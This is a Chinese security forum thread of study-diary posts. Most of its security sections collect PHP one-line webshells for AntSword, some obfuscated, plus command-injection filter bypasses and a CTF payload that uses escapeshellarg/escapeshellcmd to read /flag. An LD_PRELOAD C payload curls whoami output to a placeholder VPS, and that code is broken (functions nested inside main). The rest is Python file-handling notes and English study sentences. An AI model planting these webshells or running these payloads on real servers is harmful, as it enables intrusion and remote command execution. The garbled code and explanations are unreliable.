真菌在腐化过程中十分重要,腐化过程将各种成分回馈于土壤,提高其肥力,并分解动物残骸





回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-20 22:28:25 | 显示全部楼层
2021/10/20学习日记

part1---阅读文章
从虚假的XSS到放弃RCE再到Self-RCE

获取Windows明文密码的小技巧

Vulnhub靶机DC系列-DC3

绕过360安全套装+云锁提权案例

Thinkphp5.0.x反序列化利用链分析

记一次走弯路的渗透测试鉴别流量攻击与防御姿势构建
SQLserver写Webshell总结-突破中文路径               
新型网络犯罪攻防技术研究红队应急响应指纹识别
一次黑盒加白盒的渗透过程干货 | 常见钓鱼招式



part2--php代码执行函数汇总

eval()
eval(code_str) : 将code_str当做函数进行执行(需要传入一个完整的语句)

eval-把字符串作为PHP代码执行
Code_str是PHP代码字符串

如果是:eval('phpinfo();'); 会显示phpinfo
但是如果是eval('phpinfo()');  没有分号,那就会报错了
eval('echo gclome;'); 会打印gclome
  1. <?php
  2.         eval('echo gclome;');
  3.         eval('phpinfo();');
  4. ?>
复制代码


直接将字符串传参进来也是可以的!

eval写一句话木马

  1. <?php
  2.         @eval($_POST['ht']);
  3. ?>
复制代码

assert()
  1. <?php
  2.         $a=phpinfo();
  3.         assert($_POST['a']);
  4. ?>
  5. #结果:显示phpinfo页面
复制代码
assert写一句话木马:
  1. <?php
  2.         @assert($_POST['ht']);
  3. ?>
复制代码


call_user_func()
  1. <?php
  2. $a = 'system' ;
  3. $b = 'pwd';
  4. call_user_func($a,$b);
  5. call_user_func('assert','phpinfo()');
  6. ?>
  7. #结果:显示phpinfo页面
复制代码

$a='system';
$b='pwd';
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行system('pwd')

以下函数不能被call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()

call_user_func 写一句话木马
  1. <?php
  2. call_user_func("assert",$_POST['gclome']);
  3. ?>
复制代码

call_user_func_array()
  1. <?php
  2. call_user_func_array('assert',array('phpinfo()'));  #assert用单引号包裹
  3. ?>
  4. #结果:显示phpinfo页面
复制代码

$a='assert';
$b=array('phpinfo()');
call_user_func_array($a,$b)    第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组

call_user_func_array写一句话木马
  1. <?php
  2. $cmd = $_POST['test'];
  3. $array[0] = $cmd;
  4. call_user_func_array('assert',$array);  #assert用单引号包裹
  5. ?>
  6. #连接密码是test
复制代码



注:开始的时候,用call_user_func和call_user_func_array写一句话木马,并没有成功,之后我把assert的双引号换成单引号,即:call_user_func("assert",$_POST['gclome']); 和 call_user_func_array('assert',$array); 就成功了!

create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

  1. <?php
  2. $a = create_function('$code','echo $code;');
  3. $b = 'hello';
  4. $a($b);
  5. ?>
复制代码

$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
创建了一个匿名函数,直接给了$a,第一个参数定义了一个参数,第二个参数定义了执行效果
一目了然的解释如下:





create_function写一句话木马
  1. <?php
  2. $func = create_function('',$_POST['create']);
  3. $func();
  4. ?>
  5. #连接密码是create
复制代码


array_map()
array_map  为数组的每个元素应用回调函数
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

  1. <?php
  2. $a = $_GET['a'];
  3. $b = $_GET['b'];
  4. $array[0] = $b;
  5. $c = array_map($a,$array);
  6. ?>

  7. 传参:?a=assert&b=phpinfo();
复制代码


用array_map 写一句话木马
  1. <?php
  2. $func = $_GET['func'];
  3. $map = $_POST['arrmap'];
  4. $array[0] = $map;
  5. $new_array = array_map($func,$array);
  6. #echo $new_array;
  7. ?>
复制代码
​#蚁剑连接http://127.0.0.1:8181/Commend Injection/test.php?func=assert 密码:arrmap
​​

array_filter()
array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含
在返回的结果数组中。数组的键名保留不变。
  1. <?php
  2. $array[0] = $_GET['a'];
  3. array_filter($array,'assert');
  4. ?>

  5. 传参:?a=phpinfo();
复制代码




array_filter()写一句话木马
  1. <?php
  2. $cmd = $_POST['filter'];
  3. $array1 = array($cmd);
  4. $func = $_GET['func'];
  5. array_filter($array1,$func);
  6. ?>
复制代码
#蚁剑连接 127.0.0.1:8181/Commend Injection/test.php?func=assert 密码:filter


usort()
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
uasort(array,myfunction);
array 规定要排序的数组
myfunction 一个定义了可调用比较函数的字符串。如果第一个参数 <, =, > 第二个参数,相应地比较函数必须返回一个 <, =, > 0 的整数。
返回值: 如果成功则返回 TRUE,如果失败则返回 FALSE。

  1. shell_1
  2. php环境>=5.6才能用
  3. <?php usort(...$_GET);?>
  4. 利用方式:
  5. test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
  6. [POST]:x=phpinfo();

  7. shell_2
  8. php环境=5.6才能用
  9. <?php usort($_GET,'asse'.'rt');?>
  10. 利用方式:
  11. test.php?1=1+1&2=eval($_POST[x])
  12. [POST]:x=phpinfo();
复制代码

php环境大于等于5.6
…$GET是php5.6引入的新特性。即将数组展开成参数的形式
用法:1[]=phpinfo()&1[]=123&2[]=assert
大致过程:
大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数
assert,其调用了第一个参数中的phpinfo();


用usort写一句话木马
  1. usort($_GET,'asse'.'rt');
复制代码

#蚁剑连接 127.0.0.1:8181/Commend Injection/test.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd


preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace('正则规则','替换字符','目标字符')
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

  1. <?php
  2.         @preg_replace("/abc/e",$_REQUEST['cmd'],'abcd');
  3. ?>
复制代码
  1. 利用代码1
  2. ?cmd=phpinfo();

  3. 利用代码2
  4. 使用chr()函数转换ASCII编码来执行代码。
  5. #phpinfo();
  6. eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
复制代码




${} 执行代码
${里面的命令当作php代码执行}

  1. <?php
  2.         ${phpinfo()};
  3. ?>
复制代码



文件操作函数
file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件
  1. #file_put_contents()
  2. <?php
  3.         $test='<?php eval($_POST[cmd])?>';
  4.         file_put_contents('test1.php',$test);
  5. ?>
复制代码
web端访问,目录下多出test1.php

蚁剑连接:

web端访问,目录下多出test2.php

  1. #fputs()
  2. <?php
  3.         fputs(fopen('test2.php','w'),'<?php eval($_POST[test2]);?>');
  4. ?>
复制代码


蚁剑连接:

动态函数
PHP函数直接由字符串拼接

  1. <?php
  2.         $_GET['a']($_GET['b']);
  3. ?>

  4. ?a=assert&b=phpinfo()
复制代码





part3--python学习

一、文件的基础操作
文件是指存储在外部介质(如磁盘)上数据的集合.文件的操作流程为:
打开文件(读方式\写方式)->读写文件(read\readline\readlines\write\writelines)->关闭文件

1.打开文件
调用函数open打开文件,其函数格式为:
file_obj=open(filename[, mode[, buffering]]) 返回一个文件对象(file object)
— filename文件名(唯一强制参数)
·原始字符串 r'c:\temp\test.txt'
·转移字符串 'c:\\temp\\test.txt'
— mode文件模式
·r 读模式
·w 写模式
·a 追加模式(写在上次后面)
·+ 读/写模式(没有文件即创建,可添加到其他模式中使用)
·b 二进制模式(可添加到其他模式中使用)
— buffering缓冲(可选参数)
·参数=0或False 输入输出I/O是无缓冲的,所有读写操作针对硬盘
·参数=1或True 输入输出I/O是有缓冲的,内存替代硬盘
·参数>1数字代表缓冲区的大小,单位字节.-1或负数代表使用默认缓冲区大小
注意:当处理二进制文件如声音剪辑或图像时使用'b'二进制模式,可以'rb'读取一个二进制文件.


2.关闭文件
应该牢记使用close方法关闭文件,因为Python可能会缓存(出于效率考虑把数据临时存储某处)写入数据,如果程序突然崩溃,数据根本不会被写入文件,为安全起见,在使用完文件后关闭.如果想确保文件被关闭,应该使用try/finally语句,并且在finally子句中调用close方法.如:
#Open your file
try:
#Write data to your file
finally:
file.close()


3.读写文件
调用函数write方法向文件中写入数据,其函数格式为:
file_obj.write(string) 参数string会被追加到文件中已存部分后面
file_obj.writelines(sequence_of_strings) 仅传递一个参数,列表[ ] 元组() 字典{}
注意:使用字典时字符串的顺序出现是随机的.

  1. #使用write()写文件
  2. file_obj = open('test.txt','w')
  3. str1 = 'hello\n'
  4. str2 = 'world\n'
  5. str3 = 'python'
  6. file_obj.write(str1)
  7. file_obj.write(str2)
  8. file_obj.write(str3)
  9. file_obj.close()

  10. #使用writelines()写文件
  11. file_obj = open('test.txt' ,'w')
  12. str1 = 'hello\n'
  13. str2 = 'world\n'
  14. str3 = 'python'
  15. file_obj.writelines([str1,str2,str3])
  16. file_obj.close()

  17. #输出 本地test.txt文件

  18. hello
  19. world
  20. python
复制代码
调用函数read方法读取数据,其函数格式为:var=file_obj.read(),其中read全部读取,返回string;readline读取一行,返回string;readlines读取文件所有行,返回a list of string.例:
  1. #使用read
  2. print ('--------Use the read------')
  3. file_obj = open('test.txt','r')
  4. s = file_obj.read()
  5. print(s)
  6. file_obj.close()

  7. #使用readline
  8. print ('--------Use the readline------')
  9. file_obj = open('test.txt','r')
  10. line1 = file_obj.readline()
  11. line1 = line1.rstrip('\n')
  12. print('L1'+line1)
  13. line2 = file_obj.readline()
  14. line2 = line2.rstrip('\n')
  15. print('L2' +line2)
  16. line3 = file_obj.readline()
  17. line3 = line3.rstrip('\n')
  18. print('L3'+line3)
  19. file_obj.close()

  20. #使用readlines
  21. print('--------Use the readline------')
  22. file_obj=open('test.txt','r')
  23. l = file_obj.readlines()
  24. print(l)
  25. file_obj.close()
复制代码
输出内容如下:

  1. --------Use the read------
  2. hello
  3. world
  4. python
  5. --------Use the readline------
  6. L1hello
  7. L2world
  8. L3python
  9. --------Use the readline------
  10. ['hello\n', 'world\n', 'python']
复制代码
可以发现在使用readline()函数时它返回的结果是'hello\n'字符串,需要使用rstrip去除'\n',否则print输出时总空一行.同时写入文件时使用格式化写入比较方便,如s="xxx%dyyy%s\n"%(28,'csdn').

  1. #格式化写入
  2. fd = open('format.txt','w')
  3. head = "%-8s%-10s%-10s\n"%('Id' ,'Name' ,'Record')
  4. fd.write(head)
  5. item1="%-8d%-10s%-10.2f\n"%(10001,'gclome',88.9)
  6. fd.write(item1)
  7. item2="%-8d%-10s%-10.2f\n"%(10002,'haotian',90.3)
  8. fd.write(item2)
  9. fd.close()
  10. #输出
  11. Id      Name      Record   
  12. 10001   gclome    88.90     
  13. 10002   haotian   90.30   
复制代码

二. 文件与循环
前面介绍了文件的基本操作和使用方法,但是文件操作通常会与循环联系起来,下面介绍while循环和for循环实现文件操作.代码如下:
  1. #使用while循环
  2. fd = open('test.txt','r')
  3. str = fd.readline()
  4. str = str.rstrip('\n')
  5. while str!="":
  6.     print(str)
  7.     str = fd.readline()
  8.     str = str.rstrip('\n')
  9. else:
  10.     print("End While")
  11. fd.close()

  12. #使用for循环
  13. rfile = open('test.txt','r')
  14. for s in rfile:
  15.     s = s.rstrip('\n')
  16.     print(s)
  17. print('end For')
  18. rfile.close()
复制代码

  


其中for调用迭代器iterator,迭代器提供一种方法顺序访问一个聚合对象中的各个元素,它相当于通过Iter函数获取对象的迭代器,再通过next函数(该方法调用时不需要任何参数)获取下一个值.for可以遍历iterator_obj包括List\String\Tuple\Dict\File.如:
s='www.csdn.net'
si=iter(s) #生成迭代器
print si.next() #调用next依次获取元素,最后迭代器没有返回值时引发StopIteration异常

每日一句


Most substance contract when they freeze so that the density of a substance's soild is higher than the density of its liquid.
大多数物质冻结时会收缩,所以它们的密度在固态时高于液态时。









回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-26 22:18:47 | 显示全部楼层
本帖最后由 gclome 于 2021-10-27 14:38 编辑

2021/10/26学习日记
Part1--阅读文章

[系统安全] 三十二.恶意代码检测(2)常用技术万字详解及总结


MSSQL利用批处理写马至中文路径

应急响应常用工具

SRC技巧|挖不到洞真的是你的问题嘛

记一次授权渗透测试

实战 | DLL劫持思路和研究



暗月2021高级渗透测试实战项目 ack123考核过程3



XSS中的同源策略和跨域问题
十大常见web漏洞


Part2--命令执行及绕过


命令执行概念:
通过易受攻击的应用在主机上执行任意命令。

PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令。
  • system()//执行外部程序,并且显示输出
  • exec()//执行一个外部程序
  • shell_exec()//通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
  • passthru()//执行外部程序并且显示原始输出
  • pcntl_exec()//在当前进程空间执行指定程序
  • popen()//打开进程文件指针
  • proc_open()//执行一个命令,并且打开用来输入/输出的文件指针

system
system:可以执行系统命令并将其输出
  1. <?php
  2.         system('pwd')           //linux
  3.         system('ipconfig');    //windows
  4.         system('whoami');      //windows
  5. ?>
复制代码

我们可以尝试当我们不知道目标机器是linux还是windows时,可以用上面代码测试.
exec
exec:执行命令,但无输出,可以使用var_dump进行输出
  1. <?php
  2.         exec('whoami',$b);
  3.         var_dump($b);
  4. ?>
复制代码



passthru
passthru 执行命令并输出
  1. <pre id="gDjCC"><?php
  2.         passthru('dir');
  3. ?></pre>

  4. <div aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="32" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  5. <p class="cke_widget_element" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2Fimg_convert%2Fb33262690051efaa0850ff93a5c7bbda.png%22%2C%22alt%22%3A%22%22%2C%22width%22%3A%22833%22%2C%22height%22%3A%22%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22center%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-widget="image" style="text-align: center;"><span class="cke_image_resizer_wrapper"></span></p></div>
复制代码


shell_exec

shell_exec:执行命令,但无回显

反引号

反引号:执行shell命令,并返回输出的字符串
  1. <?php
  2.         $a = 'whoami';
  3.         echo `$a`;
  4. ?>
复制代码


ob_start

ob_start:打开输出控制缓冲区
然后用ob_get_contents得到缓冲区的数据。
  1. <?php
  2.         ob_start('system');
  3.         echo "whoami";
  4.         ob_end_flush();
  5. ?>
复制代码



ob_start()函数用于打开缓冲区 ,这时, PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出.当然打开缓冲区的作用很多,只要发挥你的想象.可以总结以下四点:
1.用于header()之前
  1. ob_start(); //打开缓冲区
  2. echo /"Hellon/"; //输出
  3. header("location:index.php"); //把浏览器重定向到index.php
  4. ob_end_flush();//输出全部内容到浏览器
  5. ?>  
复制代码


2.phpinfo()函数可获取客户端和服务器端的信息,但要保存客户端信息用缓冲区的方法是最好的选择.
  1. <?php
  2.         ob_start(); //打开缓冲区
  3.         phpinfo();  //使用phpinfo函数
  4.         $info = ob_get_contents();    //得到缓冲区的内容并且赋值给info
  5.         $file = fopen('info.txt','w');  //打开文件info.txt
  6.         fwrite($file,$info);    //写入信息到info.txt
  7.         fclose($file);      //关闭文件info.txt
  8. ?>
复制代码



3.静态页面技术
  1. <?php
  2.         ob_start();      //打开缓冲区
  3.         $info = ob_get_contents(); //取得php页面输出的全部内容
  4.         $file = fopen('output1.html','w'); //创建一个文件,并打开,准备写入
  5.         fwrite($file,$info); //把php页面的内容全部写入output1.html,然后.....
  6.         fclose($file);
  7. ?>
复制代码


4.输出代码
  1. Function run_code($code) {
  2. If($code) {
  3. ob_start();
  4. eval($code);
  5. $contents = ob_get_contents();
  6. ob_end_clean();
  7. }else {
  8. echo "错误!没有输出";
  9. exit();
  10. }
  11. return $contents;
  12. }
复制代码


函数ob_end_clean会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
此时得用一个函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
这样的话,能将在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。

mail函数+LD_PRELOAD执行系统命令
思路
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
利用
a.c
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. int main(){

  5. void payload() {
  6. system("curl http://vps_IP:4123/?a=`whoami`");
  7. }
  8. int geteuid() {
  9. if (getenv("LD_PRELOAD") == NULL) { return 0; }
  10. unsetenv("LD_PRELOAD");
  11. payload();
  12. }
  13. }
复制代码


编译
  1. gcc -c -fPIC a.c -o a gcc -shared a -o a.so
复制代码


mail.php
  1. <?php
  2. putenv("LD_PRELOAD=/var/www/html/a.so");
  3. mail("a@localhost","","","","");
  4. ?>
复制代码


监听vps的4123端口,访问mail.php。

绕过常见分隔符

• 换行符 %0a
• 回车符 %0d
• 连续指令 ;
在 shell 中,担任”连续指令”功能的符号就是”分号”


• 后台进程 &

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息

• 管道符 |

管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

• 逻辑 || &&

命令终止符
  1. %00
  2. %20#
复制代码


绕过空格
在bash下,可以用以下字符代替空格
  1. • $IFS
  2. • <
  3. • ${IFS}
  4. • $IFS$9
  5. • %09
复制代码

这里解释一下IFS,IFS,IFS9的区别,首先IFSlinux下表示分隔符,只有cat IFS 1.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个可以起到截断的作用,而9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。
测试:
  1. root@kali:/home# cat 1.txt
  2. <?php system("ls /"); ?>
  3. root@kali:/home# cat<1.txt
  4. <?php system("ls /"); ?>
  5. root@kali:/home# cat${IFS}1.txt
  6. <?php system("ls /"); ?>
  7. root@kali:/home# cat$IFS$91.txt
  8. <?php system("ls /"); ?>
复制代码




%09测试


  1. <?php
  2. $cmd = $_GET['cmd'];
  3. system("$cmd");
  4. ?>
复制代码


http://127.0.0.1:8181/Commend%20 ... hp?cmd=netstat%09-a输出如下:

敏感字符绕过
(1)变量绕过
  1. root@kali:/home# a=c; b=a; c=t;
  2. root@kali:/home# $a$b$c 1.txt
  3. <?php system("ls /"); ?>
复制代码


(2)base64绕过
  1. root@kali:/home# echo 'cat' | base64
  2. Y2F0Cg==
  3. root@kali:/home# `echo 'Y2F0Cg==' | base64 -d` 1.txt
  4. <?php system("ls /"); ?>
复制代码


(3)未定义的初始化变量
cat$x /etc/passwd

(4)连接符
cat /etc/pass'w'd

利用PHP的字符串解析特性Bypass利用/绕过 PHP escapeshellarg/escapeshellcmd函数
escapeshellarg
1,确保用户值传递一个参数给命令
2,用户不能指定更多的参数
3,用户不能执行不同的命令

escapeshellcmd
1,确保用户只执行一个命令
2,用户可以指定不限数量的参数
3,用户不能执行不同的命令

escapeshellarg是安全的,但是当这两个一起用的时候,就会造成危险了
如下示例:
[BUUCTF 2018]Online Tool练习

看这里的代码:
  1. <?php
  2.   $host = $_GET['host'];
  3.   $host = escapeshellarg($host);
  4.   $host = escapeshellcmd($host);
  5.   echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
  6. }
复制代码


实现RCE的思路就是nmap可以将记录导出为文件,而且文件的路径我们是知道的,所以就可以运行任意php代码,实现RCE.
绕过主要参考下面两行代码:
  1. $host = escapeshellarg($host);
  2. $host = escapeshellcmd($host);
复制代码


我们可以看一下在经过这两步的操作后我们的输出变成了什么,测试代码如下:
  1. <?php
  2. $host = "' -oG <?php phpinfo();?>'";
  3. $host = escapeshellarg($host);
  4. $host = escapeshellcmd($host);
  5. $out = "nmap -T5 -sT -Pn --host-timeout 2 -F".$host;
  6. echo $out;
  7. ?>
复制代码


输出结果如下:

为什么会这样呢,通过上面的官方文档,我们可以知道,escapeshellarg会先对单引号转义,此时的结果应该是这样的
  1. \' -oG <?php phpinfo();?>\'
复制代码


然后对\分割的每个部分加上单引号,并连接,结果如下:
  1. ''\'' -oG <?php phpinfo();?>'\'''
复制代码


接下来到escapeshellcmd ,会对上边提到的字符进行转义,这里为什么没有对引号进行转义呢,因为实际上escapeshellcmd处理的配对,可能只是数量上的匹配,比如测试一下
  1. <?php
  2. $a = "''' -oG <?php phpinfo();?>''''";
  3. $a = escapeshellcmd($a);
  4. $b = "''' -oG <?php phpinfo();?>'''";
  5. $b = escapeshellcmd($b);
  6. $c = "''' -oG <?php phpinfo();?>'''\'";
  7. $c = escapeshellcmd($c);
  8. $d = "'\'' -oG <?php phpinfo();?>'''\'";
  9. $d = escapeshellcmd($d);
  10. echo $a."\n";
  11. echo $b."\n";
  12. echo $c."\n";
  13. echo $d."\n";
  14. ?>
复制代码



所以经过上面两个函数,得到的结果就是:
  1. ''\\''-oG \<\?php phpinfo\(\)\;\?\>'\\'''
复制代码



所以构造payload为:
  1. ?host=' <?php echo phpinfo();?> -oG mmm.php '    //查看phpinfo内容
复制代码



由于过滤了引号,直接用反引号执行系统命令读文件就完事了
最终读flag的payload
  1. ?host=' <?php echo `cat /flag`;?> -oG test.php '
复制代码






part3--python

(一)、局部变量
声明使用的程序的范围被称为了声明的作用域。在一个过程中,如果名字在过程的声明之内,它的出现即为过程的局部变量,否则出现即为非局部,例如:


  1. def foo(x):
  2.     print ('x= ',x)
  3.     x = 200
  4.     print ('Changed in foo(,x = ' ,x)
  5. x=100
  6. foo(x)
  7. print ('x = ',x)  
复制代码
输出结果如下:
  1. x=  100
  2. Changed in foo(,x =  200
  3. x =  100
复制代码


在主块中定义x=100,python 使用函数声明的形参传递x至foo() 函数,foo()中把x赋值为200,x是函数的局部变量;所以在函数内改变x的值,主块中定义的x不受影响。

当搜索一个标识符时,python先从局部作用域开始搜索,如果在局部作用域内没有找到那个名字,那么一定会在全局域找到这个变量,否则会被抛出NameError异常。

作用域的概念和用于找到变量的名称空间搜索顺序相关。当一个函数执行时,所有在局部命名空间的名字都在局部作用域中;当查找一个变量时,第一个被搜索的名称空间,没有找到那个变量,那么就可能找到同名的局部变量。

(二)、全局变量
全局变量的一个特征是除非删除掉,否则它们存活到脚本运行结束,且对于所有的函数,它们的值都是可以被访问的。然而局部变量,就像它们存放的栈,暂时地存在,仅仅只依赖于定义它们的函数现阶段是否处于活动。当一个函数调用出现时,其局部变量就进入声明它们的作用域。在那一刻,一个新的局部变量名为那个对象创建了,一旦函数完成,框架被释放,变量将会离开作用域。


  1. X = 100

  2. def foo():
  3.     global X
  4.     print ('foo() x= ',X)
  5.     X= X + 5
  6.     print ('Changed in foo(),x = ' ,X)

  7. def fun():
  8.     global X
  9.     print('fun () X=',X)
  10.     X=X + 1
  11.     print ('Changed in fun(),x = ' ,X)
  12.    
  13. if __name__ =='__main__':
  14.     foo()
  15.     fun()
  16.     print('Result x=' ,X)
复制代码
输出结果如下:

使用global语句定义全局变量。当使用全局变量同名的局部变量时要小心,如果将全局变量的名字声明在一个函数体内,全局变量的名字能被局部变量给覆盖掉。所以,你应该尽量添加global语句,否则会使得程序的读者不清楚这个变量在哪里定义的。
你可以使用同一个global语句指定多个全局变量。例如global x, y, z。
当我在制作Python爬虫时,需要想函数中传递url,循环爬取每个url页面的InfoBox,此时的文件写入操作就可以有两种方法实现:1.通过传递参数file;2.通过定义全局变量file。

  1. SOURCE = open("D:\\test.txt",'w')
  2. def writeInfo(i):
  3.     global SOURCE
  4.     SOURCE.write('number'+str(i)+'\n')

  5. def main():
  6.     i=0
  7.     while i<50:
  8.         writeInfo(i)
  9.         print i
  10.         i=i+1
  11.     else:
  12.         print 'End'
  13.     SOURCE.close()

  14. main()
复制代码

PS:在此种用法中,如果我们在函数writeInfo()中不使用global 声明全局变量SOURCE,其实也可以使用,但是此时应该是作为一个内部变量使用,由于没有初始值,因此报错。Python查找变量是顺序是:先局部变量,再全局变量。
UnboundLocalError: local variable 'SOURCE' referenced before assignment

(三)、模块导入变量
主要方法是通过在py文件中模块定义好变量,然后通过import导入全局变量并使用。例:

  1. import global_abc
  2. def foo():
  3.     print(global_abc.GLOBAL_A)
  4.     print(global_abc.GLOBAL_B)
  5.     print(global_abc.GLOBAL_C)
  6.     global_abc.GLOBAL_C = global_abc.GLOBAL_C + 200
  7.     print(global_abc.GLOBAL_C)
  8.    
  9. if __name__ =='__main__':
  10.     foo()
  11.     print (global_abc.GLOBAL_A + ' ' + global_abc.GLOBAL_B)
  12.     print (global_abc.GLOBAL_C)
复制代码
输出结果如下.,全局变量结构是可以改变的。


PS:应该尽量避免使用全局变量。不同的模块都可以自由的访问全局变量,可能会导致全局变量的不可预知性。对全局变量,如果程序员甲修改了_a的值,程序员乙同时也要使用_a,这时可能导致程序中的错误。这种错误是很难发现和更正的。同时,全局变量降低了函数或模块之间的通用性,不同的函数或模块都要依赖于全局变量。同样,全局变量降低了代码的可读性,阅读者可能并不知道调用的某个变量是全局变量,但某些情况不可避免的需要使用它。

每日一句:
          By the middle of the twentieth century ,painters and sculptors in the United Station had begun to exert a great worldwide influence over art.
         到了20世纪中期,在美国的画家和雕塑家们开始在世界范围内对艺术产生重大影响。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:50 , Processed in 0.047200 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表